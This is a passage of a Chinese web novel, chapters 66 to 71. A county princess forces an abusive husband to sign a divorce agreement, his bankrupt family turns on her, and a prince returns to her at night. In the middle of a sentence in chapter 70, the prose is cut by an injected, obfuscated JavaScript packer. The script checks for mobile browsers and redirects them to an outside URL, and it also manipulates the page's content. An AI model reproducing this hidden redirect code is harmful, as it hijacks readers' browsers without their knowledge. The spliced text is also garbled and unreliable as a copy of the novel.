语气不重,轻描淡写的说出这番话,却宛如一个又一个耳光朝桑怀民脸上扇下去! 桑怀民的脸一阵红一阵白的,偏偏无力反驳。 转头看了一圈,好像所有人都在看他笑话,自尊心都被放在脚底板上摩擦! 他无能狂怒:“连玉,你今日到底跟不跟我回去!” “不!”连玉也大吼一声。 她从来没有吼得这样用力过:“即便是死,我也不会跟你回桑家,我也不会把宝儿给你!” 桑怀民怒极狞笑,放狠话:“好!这是你说的,那我倒要看看,你是不是真的永远都不怕死!” 他说完就要走。 显然,烂人有烂招:他绝不会让连玉好过,如果连玉不跟他走,以后他会一直骚扰、让连玉一辈子没法好过。 而连玉跟他回去了,都撕破脸至此了,那也一样不会有一天好日子过! 想到这些,连玉便是一阵绝望。 她脸色雪白地上前,扑通跪在喻初晴面前,磕头:“初晴……永安县主,求你替我做主!大恩大德,连玉愿意为奴为婢一生回报!” 喻初晴受了她这一礼,才弯腰将她扶起来,道:“好。” 淡淡一个字,坚定无比。 瞬间让连家人都振奋起精神来! 她又道:“不需要你为奴为婢。” “县主……”连浒打算携妻子儿子一同跪下。 喻初晴却道:“你们不必行此大礼。这桩婚事,既然是从我开始的,造就了一对怨偶,合该由我来结束。” 其实,媒人也不包生儿子,没有任何一个媒人会为怨偶负责。 毕竟,她只是牵线、并非强行按头结婚。 结这门亲,是连家自己答应的。 连家人非常明白这一点:当初他们也是觉得,有喻初晴这样的小姑子,平日桑怀民看起来也还行,就同意了这门亲事。 孰料…… 喻初晴转头看向桑怀民,道:“和离书,你签还是不签?” 桑怀民纯粹摆烂,脱口而出:“不签!” 喻初晴唇角一勾,点点头。 下一瞬,她却猛地大喝一声:“腾云、覆雨,将他拿下!” 桑怀民是武将,自然有两下子身手。 然而谁也没想到—— 腾云覆雨跟桑怀民对了十来招后,忽然一条红绸带从斜刺席卷而来,像是有生命,灵蛇吐信一般缠住了桑怀民。 桑怀民想要挣扎,但那红绸却紧追不放,挥舞了十来下,竟桑怀民捆了个结结实实! 众人瞪大眼睛,不可置信地看向那个挥舞红绸的男人! 第66章 硬汉舞红绸 喻初晴也是瞳孔地震! 她大哥…… 一个身高一九零、虎背熊腰、棱角刚强的铁血硬汉,他竟然把红绸带挥舞得这般灵巧! 真的。 怎么形容呢? 艺术体操的彩带,很多人都知道吧? 喻昔词这根赤练,兴许有七八米长、巴掌宽,在他手里却好像活的,他单手舞动,竟能作为武器! 大哥,这是绸带,不是鞭子啊喂! 他能让柔软如斯的绸带攻击桑怀民就算了,还能单手控制绸带把人捆住。 那是多么强大内力、以及炉火纯青的掌控力? 好一个硬汉舞红绸! 跟她二哥美人抡大锤,是异曲同工的极致反差! 而硬汉本人,却是一脸淡然,转头看向喻初晴,道:“晴晴,已经拿住了。你打算怎么做?” 语毕,他手腕轻轻一抖。 随着红绸飞舞,被捆得像粽子一样的桑怀民扑通一下,落到了他们身前。 喻初晴好不容易才把掉在地上的眼珠子捡起来,说出一句:“带上,去官媒,让他跟连玉把和离书给签了!” 必须要走官媒,相当于现代的法律公证。 经过这一遭,以后倘使桑怀民再做任何纠缠,都可以直接对簿公堂维护自己的权益! 古代也有律法保护合法婚姻,只不过民俗等原因造成,律法保护只是理论上的,很难实践。 可是! 现在有她喻初晴在,就一定能实践! 桑怀民气极了,还在地上挣扎:“和离是要自愿的,你这是强迫!” “不管黑猫白猫,抓到老鼠就是好猫!”喻初晴冷冰冰地丢下这一句,抬头看向猫瞪狗呆的连家一群人,道:“诸位,都一起去?” 连浒好半天才找回自己的语言组织:“自然。” 桑怀民还想破口大骂,喻昔词眼疾手快地将一枚大核桃塞进他的嘴里。 最后只能用眼神怒骂。 但,不管是谁都不痛不痒,无能狂怒、“骂”了个寂寞! 喻初晴率先走出连家的厅门,看到桑怀民的两名长随在外面,她挑眉问:“你们俩,也想先打一架,再被动屈服?” 两人看了一眼“屈服”的桑怀民,深切明白什么叫做:主动屈服、和被动屈服! 两人让开了路,没有拿鸡蛋碰石头的打算。 跟永安县主的那两个武婢对打,还可能有点胜算,可这位…… 舞红绸的硬汉,着实是打不了一点! 官媒。 连家已经准备好了和离书,连玉已经签好名字了,只要桑怀民签上大名,经过官媒的盖章,就能脱离律法上的婚姻关系。 “等等!” 他们正要让桑怀民签字,喻初晴却一把将和离书拿过来,道:“改一改。” 她指着上面不合理的地方:“第一,连氏离开桑家,必须带走所有嫁妆;第二,连家不要桑怀民补偿,为此必须把儿子桑光恩交给女方抚养,从此后改姓连,不要桑家任何抚养费、但也跟桑家没有任何关系。第三……” 最后,才是重点:“和离后,若桑怀民对连玉、桑光恩以及连家有任何为难、纠缠、骚扰、伤害,容许连家包括、但不限于打断他的腿!” 男人制定的律法,当然是保护男人的利益为主的。 那她就增加条款! 连浒是将军、连升也是,并且都是很争气的那种。 一旦抛开脸面跟桑家抗衡,有律法加持,就能保住连玉母子。 所有人—— 包括掌管官媒的官员,都用不可思议的眼神看着喻初晴。 甚至,连喻昔词都十分震惊。 “看什么?”喻初晴一脸坦然,指着桑怀民道:“你们看看他这德行,难道不应该未雨绸缪吗?将一切罪恶的可能,扼杀在摇篮里,很有必要!否则,不需要付出代价的话,桑怀民指不定以后跟连家不死不休,连家的日子还要不要过了?” 连浒感激地道:“还是县主想得周到!” 喻初晴一点儿都不得意,看向那办差的官员,问:“可以么?” “从未有过这样的先例……”官员不是很想答应。 但,对上她漠然的双眸,宛如被刀锋擦过头皮似的,他不敢拿腔调,立即改口:“县主的忧虑的确有道理,这的确是女方应得的权益,便加上吧!” 南阳侯很清楚的“官官相护”,在这时候体会得淋漓尽致! 谁得势,谁就上青天,是自古以来的道理。 过去南阳侯有点势力,自然人人都会给他们面子; 可如今南阳侯都混到只剩下个光头爵位了,在他与炙手可热的太子救命恩人——永安县主面前,那点空壳子哪里够看? 桑家不是想官官相护吗? 她就给他们表演一个! 很快,官媒落下了印章,一份全面的和离书新鲜出炉! 连玉捧着那和离书,又哭又笑的。 她提起裙摆,又打算朝喻初晴跪拜,却被喻初晴一把扶住。 “你方才已经跪过我了,一谢不行二礼。”喻初晴说着,从袖袋中取出一块玉佩,塞进连玉的手里。 她大声说道:“这块朱雀祥云玉佩,是皇上的赏赐。今日我把玉佩借给你,他日,但凡桑怀民或者桑家任何人对你进行骚扰,你就把玉佩摔在地上,务必摔碎!” 说着,她眸光凛然地对上桑怀民猩红含恨的双眼,道:“将圣上御赐之物摔碎,该犯什么刑罚,桑大公子应该是知晓的,哦?” 众人:“……” 好高明的手段! 没有千日防贼的道理,即便是永安县主,也没有办法一直守在连玉身边保护她。 但,这枚御赐玉佩可以成为她的护身符! 桑怀民除非自己的命不要了,否则就不敢对连玉做什么! 他气极,却又拿喻初晴一点儿办法都没有,只能怒气汹汹地走了。 喻初晴转头,对连玉道:“我能帮你的,也就到这里了。倘使他想跟你同归于尽……这一点,只能你们自己想办法预防。” “好。”连玉颔首:“我以后尽量少在外面走动,能避开他就避开他。” 一个失婚的女人,她以后只想专心养孩子,谁家的宴席都不可能参加了。 连升满脸的怒火:“他如果真敢,我一定宰了他!” 喻初晴摇头:“桑家如今是丧家之犬,桑怀民烂命一条不值钱,连家大哥何必拿自己的命跟他玩?” 她仰头看了一眼天际,意味深长地说了句:“再凶猛的野兽,若失去了爪牙,也就没有了战斗力。” 连家众人疑惑不解地看着她。 什么意思? 第67章 不管你爽不爽,老子反正爽了 喻初晴却只是看向连浒,道:“连将军,出来混的迟早是要还的。我那前大哥,目前还在你手底下挂职呢吧?” 闻言,连浒与连升都是一凛,不由对视一眼。 不等连浒做出反应,她微微一笑,又道:“今日之行,幸不辱命。替连玉脱离苦海,我也算了了一桩心事。我和大哥先回家了,各位告辞。” 连家众人朝她行礼拜别。 坐在回府的马车上,喻昔词忽然问:“你打算怎么做?” 她的话,其实很好理解。 即便不为连家,她也不会让桑怀民好过。 并且,她必定是早就有了主意。 只不过一口吃不成胖子,需要循序渐进。 喻初晴笑了笑,道:“当然是先把爪子给砍了、把尖牙给拔了!连将军会知道怎么做的!” 前翁婿关系已经交恶,为了保护可怜的女儿,连浒从前能提拔桑怀民,以后就能打压桑怀民。 桑怀民在军中的职位,迟早是要丢光的! 上帝与让其灭亡,必先让其疯狂。 等到桑怀民一无所有的时候,他就会疯狂作死,到时候打死他不费吹灰之力,也不会引火烧身! “晴晴当真是……聪慧过人。”喻昔词由衷说道:“身为家主,我希望你能回来帮我。但身为大哥,却又觉得,尊重你自己的意愿,更重要一些。” 以她的才智,别说辅佐他做家主,就算是让她自己做家主,都完全可行! 老二是个武夫,听命行事可以,其他的就算了; 老三倒是足智多谋、多智如妖,算得上良相一般的人物,本就是培养来日后辅佐他的。 却就怕珠玉在前,比起喻初晴来说,喻慕文就略显逊色了; 老幺么,年纪还小,现在说未来还为时尚早,少说还得等个三五年才能确定。 所以,他更希望喻初晴回家族帮衬自己。 喻初晴笑了笑,并没有答应:我会帮你的。 轻许诺言者、多半无信无义。不确定的事,她不会轻易许诺。 提到这个,她不免好奇:“大哥,你会觉得继承家业这种责任沉重,因而让你无法选择自己想走的路吗?” 喻昔词诧异地看向她:“不会。你为何这样想?” “毕竟你十二岁就被迫回去,还没有尝试过走自己的路。”喻初晴的想法很简单。“我单纯好奇,没别的意思。” 喻昔词低笑一声,道:“没有这些想法。我十二岁回去跟在祖父身边,不仅祖父教导,还有叔祖父他们都手把手教我。学到的东西,自然跟留在爹娘身边不一样,那我从小树立的志向,自然也很清晰明了。” 平心而论,祖父之所以越过喻惊鸿要从孙子里挑继承人,也是有理由的。 喻惊鸿的确不具备当一个出色继承人的条件,他不够狠。 上位者需要恩威并施,喻惊鸿有恩无威。 “好吧。”喻初晴颔首:“看得出来,大哥如鱼得水,那就是最好的状态。” 有些人喜欢忙碌,闲下来反而觉得累。 有些人登天很累,却甘之如饴。 人与人,终究是有差别的。 喻昔词伸手摸了摸她的头,道:“咱们家,总要有人做这件事的。而我,最适合。并且,我并不委屈;相反,还如鱼得水。晴晴不用替大哥担心。” 当真是安全感爆棚的硬汉,他的手掌很大,喻初晴的脸都没他的手大! 他的手掌放在她颅顶,显得她的脸特别小。 在他眼里,越发觉得妹妹小巧可爱:“若你没有丢,不知你会长成何等模样。” “不好说。”对此,喻初晴只有一句感慨:“塞翁失马、焉知非福。今天走过的每一条路,都会成为明日的勋章。我若在家中千恩万宠长大,未必就能成才!” 喻昔词又笑了:“你这样的心性,做什么不能成功?” 喻初晴跟着笑:“以后的事不说,走好眼前每一步,就够了。” 而眼前这一步,便是解决桑怀民! 这家伙一日还能叫嚣,就有可能成为一个不定时的炸弹,不知道什么时候会被引爆。 穷凶,则会极恶。 为了不让他拖着连家人去死,她得盯着这件事、并且尽快促成这件事的发酵、成熟! 果然—— 连浒在连家是庶出,能靠自己争气、在军中做到将军,而出来自立门户,自然是个会办事的。 仅仅过去几天,他便以桑怀民擅离职守为由,将其连降三级—— 主要是桑怀民的把柄太好抓了,以前是他女婿,他睁只眼闭只眼,如今…… 呵呵! 又过了几日,桑怀民在屯营带头饮酒酩酊大醉,误了当值、扰乱军纪,直接被降到了无任何品级的小兵。 他堂堂侯府嫡长子,哪里能接受? 一怒之下,这个兵他不当了! 因为一件鸡毛蒜皮的小事,跟上级大吵一架,还没吵过。 便来连浒这里吵吵嚷嚷,允许他离开屯营。 连浒没同意。 想自己走? 门都没有! 几日后,桑怀民跟上峰大打出手,将上峰打伤。 此等行径严重触犯军规,连浒没有留半点情面,出了文书将桑怀民逐出屯营! 驱逐! 在被强令离开的时候,桑怀民一路大声怒骂:“连浒公报私仇,他是因为我与他女儿的婚事闹得不愉快,在这些事上处处给我穿小鞋!” 负责监督他离开的,是一名小将。 小将说了相当中肯的话:“从前你因为结了这门亲、娶了他的女儿,而得到的好处,你怎么是一点儿也不提?” “自从你娶了连将军的女儿后,但凡能立功的机会,连将军都尽可能给了你。” “甚至好几次,力排众议非要把那些好处给你,让你在屯营中成为太平年岁中、晋升最快的。” “那些事,你倒是一件也不记得!” 桑怀民不肯接受这个说法,怒道:“那是因为我是南阳侯嫡长子,才有的这些体面!” “错!”如今,那小将一点儿面子也不给他,直言不讳地说道:“南阳侯世袭六代,到你父亲这里,已经是最末代。” “而你们桑家为人处世历来嚣张高傲,不但不思考如何延续荣光,反而一再消耗祖上的功勋。” “所谓的坐吃山空,说的就是你们!” “原本,你们倒是有一位善于筹谋的嫡女。” “别的不说,就说她为你促成了与连家的婚约这件事,足见她高明睿智!” “若留她在侯府,或许你们还有翻身的可能。即便不说她个人的能耐,只说将来她婚配高门,靠联姻稳定实力,少说也能把你这一代稳定下来。” “但!” “你们把她赶走了!” “哈哈哈哈,见过笨的,没见过你们家这么蠢的!” “你们自己都知道说,她亲生父母是农户出身,那么,农户养出来的女儿有没有智谋且说不定。但凡有点脑子的,都知道两把抓,亲生女儿接回来、养女也要留在家里!” “可你们呢?你们把确定有谋有略的嫡女赶走!” “这叫什么?这叫一刀斩断自己的命根子!” “不管你爽不爽,老子反正爽了!” “……” 那小将对桑怀民不满已久,是可着劲儿地往他痛点一刀一刀地戳。 杀人诛心! 杀人诛心! 杀人诛心! 桑怀民听着听着,不禁怀疑:真的是这样吗? 但他没有想太多。 现在摆在面前的是—— 离开屯营后,他要做什么? 回到侯府,他就想好了:“父亲、母亲,儿子想好了,以后从商!三弟已经这样了,二弟、小弟以后在仕途上,都是要用大量银子的。身为大哥,我去赚这个钱!” 第68章 是她把侯府的银子都偷走了? 桑怀民的话砸落,得来几张惊愕的面孔。 如今桑怀志断了腿,每日在屋里躺着,宛如一个废物。 不是他不想挣扎,是无论他跟谁说,是喻初晴设局害他,都没有人相信。 说累了,他就自己放弃了。 他躲在房里,一个人藏着发霉。 家里人起初还去看他两眼,但他阴阳怪气的,一点火星子都能炸起来,谁也不愿意跟他多说话了。 桑文柏都说:“算了,让他自生自灭吧!” 今日家宴,桑怀盛从国子监回来了,桑怀安也从翰林院回来了,家庭成员还是比较全的。 见众人发愣,桑怀民又道:“阿雪在太子府,不是一直都没能得到太子的宠幸吗?以我看,那就是打点不够丰厚。有钱能使鬼推磨,只要给的钱够多,那些人还能不心动、不为她出谋划策、不为她清扫障碍?” 他看向南阳侯:“父亲,只要阿雪能得太子宠幸,一举得男。过去她是如何进太子府的这件事,迟早会被遗忘!” 可以说,这些话在他心里来回斟酌了三四遍,才能说得如此通畅。 主旨只有一个:给我本钱,我要经商! 这话,还真让桑文柏心动了。 如今南阳侯府是日益萧条,大儿子的姻亲没了,老三废了,老二老四的婚事又还没能成。 旁支的姻亲,不是靠不上,就是有点实力的不肯给他们靠—— 主要是,先前借了一些银子没还,见面都是冷脸的了! 或许,只有桑雪生下皇孙这件事,才能让南阳侯府翻身了。 “好。”桑文柏同意了,道:“既如此,你便……” 但,侯夫人却强烈反对:“不成!” 她从来没有在家宴上这么大声说过话。 桑文柏蹙眉,转头看去,不悦地道:“妇道人家你懂什么!” 侯夫人一贯来都是逆来顺受的。 以夫为天,不管是挨骂还是挨打,都不会忤逆丈夫的意思。 但今天,她鼓足了勇气、梗着脖子道:“不成就是不成,我是什么都不懂,我只知道:公中已经没有银子了!” 这句话扔出来,简直就是炸裂的存在。 侯夫人已经忍很久了,终于说出这句话,宛如开闸泄洪一般,道:“侯府早几年前的收支,就已经是入不敷出了!这几年,是初晴帮衬我打理铺子、以及庄子,才得以勉强维继。” 她看了一眼桑文柏,又低下头去,道:“但你们把她赶走了,我不善经营,家中连府医都养不起,辞退掉了,你们是一点儿也没发现、一点儿都不关心吗!” “家里少了多少下人,你们是一点儿都没察觉吗!” “现在侯爷虽然没被削爵,但俸禄减半、食邑又收回去了。偌大的侯府养这么多张嘴,以后吃饭都成问题,哪儿还有银子去给老大当本钱?” 憋了几年,终于把这些话说出来,侯夫人长长地吁了一口气。 而这话,也将大小老少几个男人,炸了个外焦里嫩! 这完全超出了他们的认知! “怎么会这样?”桑怀盛瞪大眼睛,完全不能相信,并且很快找到一个重点原因:“是不是三哥赌输,为了给他还债,把公中掏空了?” 侯夫人道:“那只是一部分原因,事实就是,在那之前,侯府就已经难以为继了!” 她叹气道:“怀志赌输了那么多,当时是初晴想尽各种办法,变卖了不少东西,又从我的嫁妆里拿了一些贴补,才凑够了那一大笔银子保住了他的腿。他的事,让咱们家雪上加霜!但确确实实是,在老三染上赌瘾之前,公中就空了!” 这话,让所有人都沉默了一会儿。 桑怀民越想越气,怒道:“如今他不还是断了腿?早知如此,还不如让他当初就断了,还省得嚯嚯完了家财!” “三哥真是……”桑怀盛也是气极:“先前他还想叫我借银子,我说我没有,他还鼓捣我去找同窗借,他害了整个侯府不够,还想害死我!” 桑怀安眉头紧拧,他不说这些没有用的话,而是看向侯夫人,问:“那……我和小弟迎亲的花销、聘礼,这些都还有吧?” 邱家的婚事已经定了三年,今年邱家小姐十六,他也是时候迎亲了! 他已经想好了:如今他在翰林院为官。娶妻之后,他有资格单独开府,那就独立门户搬出去,避开这泥坑! 然,他的希望也落空了—— 侯夫人摇头:“你们这些年,只知道花钱,从未想过如何进账,吃穿用度哪一样不是最好的、哪一些不烧银子?以前有初晴帮我想办法,她善于经营,还能勉强维持侯府的风光。可初晴被你们赶走了!” 后面这一句,是她肺腑之言。 她比任何人都反对把喻初晴赶走! 最后一句,又让几个男人都沉默了。 桑怀安脸都绿了:“我成亲用的银子,都没有吗!” 桑怀盛也怒道:“怎么可能!偌大的侯府,连娶媳妇儿的聘礼都拿不出了,这是什么笑话!” “不是聘礼拿不出。”侯夫人是完全摆烂了的:“是日后吃穿用度的银子,都拿不出了!众家亲戚时不时还要来催债,我们根本还不上!” “难怪……”桑文柏这才反应过来:“我说为何我伤好了后出来,见府中的下人似乎少了好些。园子里的花木长长了好多、杂草也生出来许多,都没有人打理!” 而且,那些姻亲见了他,也再也没有了笑脸相迎! “是啊。”侯夫人又叹了一口气,一副死样子道:“因为养不起这么多奴仆,能辞的我都辞掉了。” 头一次知道侯府的窘迫的几个男人,一时之间竟然找不到话说。 半晌后,桑怀民猛地一摔茶杯,怒道:“母亲的意思是,先前几年,一直是靠初晴在打理账簿?” 侯夫人眼皮子一跳,看着地上碎裂的瓷杯,肉疼地道:“你还摔杯子,还当咱们是以前的南阳侯府么!这一套茶盏是官窑的仿玉青瓷,要好几两银子的!” 以前的她哪里知道,一副官窑仿青玉瓷茶盏要多少银子? 还不是最近被账本弄得焦头烂额,不仅知道了这些,甚至府里修补一块地砖要多少钱,她都知道了! 但桑怀民不当家不知柴米贵,从来不是在意几两银子的人。 他抓住了一个重点可能性:“那小贱人如今过得风生水起,不但没穷过,还养着喻家一大家子!” 他看向桑文柏,问:“会不会是她把侯府的银子都偷走了?!!!” 第69章 全家唯一有智商的、唯一清醒的 桑怀民的说法,让所有男人都是心头一凛。 所有人下意识顺着这方向去设想:如果是真的,当如何?如果不是,又当如何? 宛如找到了能让自己心理平衡的原因,桑怀盛第一个跟上附和:“肯定是她!几年的时间,将咱们的银子转走、洗干净,娘你完全甩手不管,对她来说太容易了!” 他们没银子用了,但喻初晴有。 所以,不管是不是她转走的,都必须是! “对!”桑怀民又道:“别的不说,就说她身边的丫头。” 他好像看到了问题的本质真相:“合欢和木棉,以前就在她屋里伺候的。但,知晓侯府要赶走她后,她就把这俩丫头的身契提前送走,如今她住进了县主府,那俩丫头又跟在了身边!可想而知,一切都是她有预谋的!” 桑怀盛当即认可他这种说法:“啊对对对!既然下人可以这样做,那咱们侯府的银子,不也可以用这种方法,出去洗一遍,到了县主府就成她的了!” 兄弟俩说得言之凿凿,简直是佩服死了自己这样聪明睿智。 他们都这样穷了,喻初晴怎么可以有钱!??? 喻初晴有钱,怎么可以自己用! 侯府养了她十七年,她就应该把银子拿出来分给他们! 见桑怀安没说话,桑怀民转头跟他求认同:“二弟你怎么看?难道你不觉得我说的很有道理吗?” 桑怀安方才一直在思考这个问题,此时回过神来,道:“有可能,但也不一定是绝对。” 主要是,他还是有点相信母亲说的。 他们这位母亲性子也许是懦弱了一些,但,很少说假话。 更何况,在这么大的事上说谎! “你怎么老这样!”桑怀盛怒道:“不管做什么事,二哥总是要表现出来与我们不一样的看法。怎么,显着你的特立独行了是吗?” 桑怀安本来还想心平气和跟他们讲讲道理,听到这话,也生气了:“四弟,你这话说得就有意思了!当初我反对赶走初晴,说可以把她送乡下去养着,即便是养女,将来还可以谈一门对侯府有帮助的婚事。假如你们听了我的,还会有后面的事吗?” 他又看向桑怀民:“永安县主府挂匾那一日,我不是说了,我要去送贺礼、打点关系。哪怕只是哄着初晴也好,把关系修复好了,靠着她救东宫的功劳,以后吃不上肉还能喝点汤。但你们听吗!” 想到自己的聘礼都拿不出来,他冷笑一声,道:“你们不愿意听我的,非要去闹事、想要让她不痛快!折腾到现在这样的结果,怎么,你们是更满意吗?” 父子三人都脸色铁青。 桑文柏怒道:“你怎么说话的!” 主要是,闹事他也有份,是他带的头! 并且,他还挨了庭杖! 桑怀安也是气到了,根本顾不上父亲的威严:“难道我说的不对吗?” 侯夫人叹息,道:“安儿说的是对的。” 她倒是说了句中肯的话:“初晴肯定是没有转走侯府的银子的,相反,她以前常常拿自己的银子贴补公中。” 但,这话立马被喷了。 桑怀盛大怒道:“她以前是侯府的女儿,先不说她贴补家里是天经地义!就只说,她的钱哪儿来的?就算她说是她自己挣的,但没有侯府,她哪儿来的本钱去挣?她一个女儿家家的,又是怎么挣到钱的?简直笑话!” “不错。”桑怀民自然认可这种说法:“所以,就是她把侯府的钱转走了!” 他需要钱,不管喻初晴是不是这样,都必须是! 家里没钱了,可是喻初晴有,不从她那里薅去哪里要? 他抬头看向桑文柏:“父亲,侯府养了她十七年,她该报答。我们去县主府,逼她把侯府的银子交出来!” 桑怀安急了:“你们先前已经惹她很生气了,还要做这样的事,彻底将她得罪死吗?” 重点是:为什么他们觉得,喻初晴是吃素的? 吃了那么多亏,还不学精吗! 他倏地站起来,道:“父亲!你想想看,初晴背靠太子,连国子监的祭酒都跟她交好,那一日乔迁宴你们是没看见吗?她没有发请帖,却有多少权贵上门贺喜?你根本不知道她还有多少人脉,彻底将她得罪死,万一她一恼怒反过来报复我们,只怕连如今南阳侯的虚名都没有了!” 不得不说,他的确是全家唯一有智商的、唯一清醒的。 但,真的是唯一的! 桑文柏根本不听他的:“安儿,你是在质问为父吗?” 桑怀安心里咯噔一下,深知这件事没得谈了。 他愤怒一甩袖:“你们就作吧!现在侯府已经是个空壳了,到时候连这个壳都作没了,你们就开心了!” “二哥!”桑怀盛也越说越上头:“你不要唱衰自家!我们知道你如今考取了功名,但,也不见你能怎么出人头地啊!” 桑怀安被这话刺激到破防,当即愤然离席:“好,既然你们非要这样,那……” 他拿出匕首隔断了袍袖,道:“以后不管你们对喻初晴做什么,都与我无关!我从今日起搬出侯府、住到翰林院,日后无论发生任何事,你们都不要把我叫回来!” 反正,连他娶亲的聘礼都拿不出了,只怕邱家很快要退婚。 他们再去喻初晴那里作死,迟早要把他也给害死。 这个家对他来说,一点儿意义都没有了! 当晚,桑怀安收拾了行囊,离开了南阳侯府。 是夜,永安县主府。 听完覆雨的禀报,喻初晴将手中的燕窝羹放下,笑了:“这群人,还真没有一个让我失望的!” 合欢也笑:“不得不说,县主真的是有先见之明!但婢子实在是想不明白,几年前县主就防备着这种事了,当时你是怎么想?” 喻初晴心道:我总不能跟你们说,我是穿越的,还是从医的。在医院里见过的世态炎凉,可真的多了,她真不是十来岁的天真少女! 她嘴上道:“摸透人性后,你就能把所有事情都理解个七七八八。” 木棉不解:“可世上总也是有些好人的。” “好人有好人的人性,坏人有坏人的人性。聪明人、愚蠢人,男人、女人,老人、小孩……万物在世间生存,既然存在,就一定有运行轨迹可依循。” 这话,说得可就太深奥了,四个婢子都一知半解。 合欢没忍住又问:“那……逍王殿下呢?” 喻初晴一怔。 第70章 直接上手扒他的衣裳 顺着合欢的问题,木棉轻声说了句:“逍王已经十多天没来了。” 萧风岚去了南陵查案,没办妥无法回来跟皇帝交差。 上次偷偷回来的,来回一跑一千里路,总不能常常回来。 她们家县主表面上好似完全不在意,但偶尔夜里醒来,便独自一人抱着被子坐在床榻上,不知在想些什么。 总之,看着十分寥落。 见她怔然,合欢想给自己打嘴巴:“婢子是不是说错话了?” 喻初晴回过神来,笑道:“没事。” 想到萧风岚这个人,她迟疑了一下,道:“他也有他的轨迹。” 有时候,她自诩通透世情,却着实看不透他。 说他恋爱脑,她并不认同,哪个恋爱脑也没有他这样精明的。 心机boy差不多! 可若说他装恋爱脑,也不至于,他对她肯定有几分真心。 “罢了,想这些做什么呢?”喻初晴垂首笑了声。 东风恶,欢情薄。 人成各,今非昨。 人与人多半是相交线,各自从不远**走来,短暂相交后,各自离散、奔赴各人的山海。 在一起的时候,尽情欢愉。 倘使哪一天到了各奔西东的时候,无非是那么一句:好聚好散,渐行渐远渐无! 所以,想那么多干什么呢? 她很快把心思拉到眼前的事上,道:“先前我让你们准备的东西,都备好了吗?” 要开始新一轮战斗咯! 木棉应道:“都已经备好,信物也都送来了。两位大掌柜都说了,到时候,县主派人把信物送到,他们就会立刻按照县主的计划行事!” 喻初晴轻轻颔了颔首,似有若无地一笑。 后半夜。 不知道是不是睡觉前,提了那么一些事,喻初晴做了个梦。 梦里的情绪很是凌乱,似乎被什么裹挟了,始终挣扎不出来,很是煎熬。 夏夜的雨说来就来,窗户外面稀里哗啦的雨声,让她惊醒。 醒来后她就什么都不记得了。 她把衫子披上,起来找水喝。 忽然,一道雷光闪过,映出门外的一道黑影,让她心口一惊。 守夜的木棉也醒了:“县主,要起夜吗?” 喻初晴也不知怎么的,一种强烈的预感让她三两步走到门口,猛地将门拉开。 果然! 高大的男人浑身湿漉漉地站在门外,正在脱浑身滴水的外衫,听到门开的声音也没回头,低头拧衣衫上的水。 他低着头说话:“合欢还是木棉?给本王拿一套干衣裳来,这湿的没法进门!” 许是梦里的情绪余韵未消,喻初晴不知作何感想,总觉得胸口有些发胀,问:“这大风大雨、雷鸣闪电的,你跑回来做什么?” “嗯?”萧风岚讶异回头:“晴晴?” 看清楚是她,并没有第一时间回答她的问题,而是道:“下雨了水汽大,你刚从被窝里出来,别站这儿,一会儿弄病了你得难受!” 喻初晴也没理会他,转头吩咐:“木棉,去烧热水。另外,给他煮一碗姜茶过来。” 木棉应了后,便退下了。 萧风岚唇角瞬间染上笑意,一如既往的嬉皮笑脸:“晴晴担心我?” 喻初晴没跟他废话,伸手一把将他拉进屋里。 “哎!我身上都是水,把地上弄湿了,不还得麻烦你家合欢木棉擦地……” 萧风岚的话戛然而止。 喻初晴直接上手扒他的衣裳! “啧!”他低笑:“早知道你这么想我,我昨日就回来了!” 虽然吧…… 他家晴晴是个超猛的,只要她想要,从来不会扭扭捏捏,只会直接上! 他俩第一回是她中了药,是她扒的他。 第二次嘛,当时他心里想着,头一次是事出有因,之后总得等成亲了以后再行周公之礼。 可她显然不这么想,还是她扒的他! 后来…… 食髓知味,就无所谓谁主动谁被动了,反正他们俩在床榻上非常合拍。 被她撕扯衣裳,他低笑道:“晴晴你先别急,我身上被大雨冲了,会冻着你!” “少废话!”喻初晴瞪他一眼,把他满身湿衣裳给扒拉了个干净,拿着自己的浴巾丢给他:“先裹上。” 转头去衣橱那边,取出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446397|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他放在这里压箱底的里衣丢给他:“穿上,一会儿去泡个热水澡。” “哦。”并不是要拖着他开战,萧风岚有些失望,但也并不遗憾,按她说的照办。 他笑呵呵地道:“晴晴,虽然咱们还没成亲,可我有种老夫老妻的感觉,怎么回事?” 喻初晴白了他一眼,端着水杯喝了下去,才道:“你老,我可不老。” 再说了,老夫老妻的,多半会有那么些两看相讨厌。 相濡以沫是真,风雨同舟也是真,可互相不顺眼,还是真! “是是是。”萧风岚好脾气地道:“我比你老两岁,将来我先死。决不能让你走在我前面,留我一人孤苦!” 喻初晴:“……” 对这人经常不说人话,她也是习惯了,可很多时候还是很难适应! 萧风岚把里衣穿好,又穿上她丢过来的鞋子,笑得跟个傻狗似的,道:“还是回家好,有人贴心!这段时日在外头,可真把我愁坏了!” “家?”喻初晴非要刺他两句:“你多久没回逍王府了?” 萧风岚眨了眨眼睛回想:“一个月?一个多月?不记得了!” 自从她乔迁宴办完后,他去了南陵,中途只回来过一次,再就是今夜了。 他猛地凑过来,在她唇上亲了一口,道:“晴晴在的地方,才是我的家!” “丑拒!”喻初晴推开他的脸,顺手将自己喝剩下一半的茶杯递给他。 她递得随意,他接得自然,咕咚咕咚就给喝完了。 萧风岚双眸一睁:“我丑?” 但凡他跟丑字沾边,都入不了她的眼,遑论上她的床了! 喻初晴不由失笑:“漂亮的也拒!” 这下,两人都笑了。 “案子查的怎么样?”喻初晴坐在小榻上,发问:“这么长时间还没搞清楚,你在那边一天天的,都干什么?泡小姑娘?” “别乱吃醋,我守男德的!” 说了这句,萧风岚的神色变得严肃了许多。 外面刮风下雨还伴随着电闪雷鸣,他凑到她身边坐下,亲亲密密地挨着她坐下,低声道:“晴晴在京中,是不是没听说最近民间出现了响马盗?” 第71章 在你眼里,我只有男色可言? 喻初晴心口一凛。 她怎么可能不知响马盗是什么东西! 但,她还是如实回答:“尚未传到帝京来。” 她心想:大哥应该会知道这件事吧? 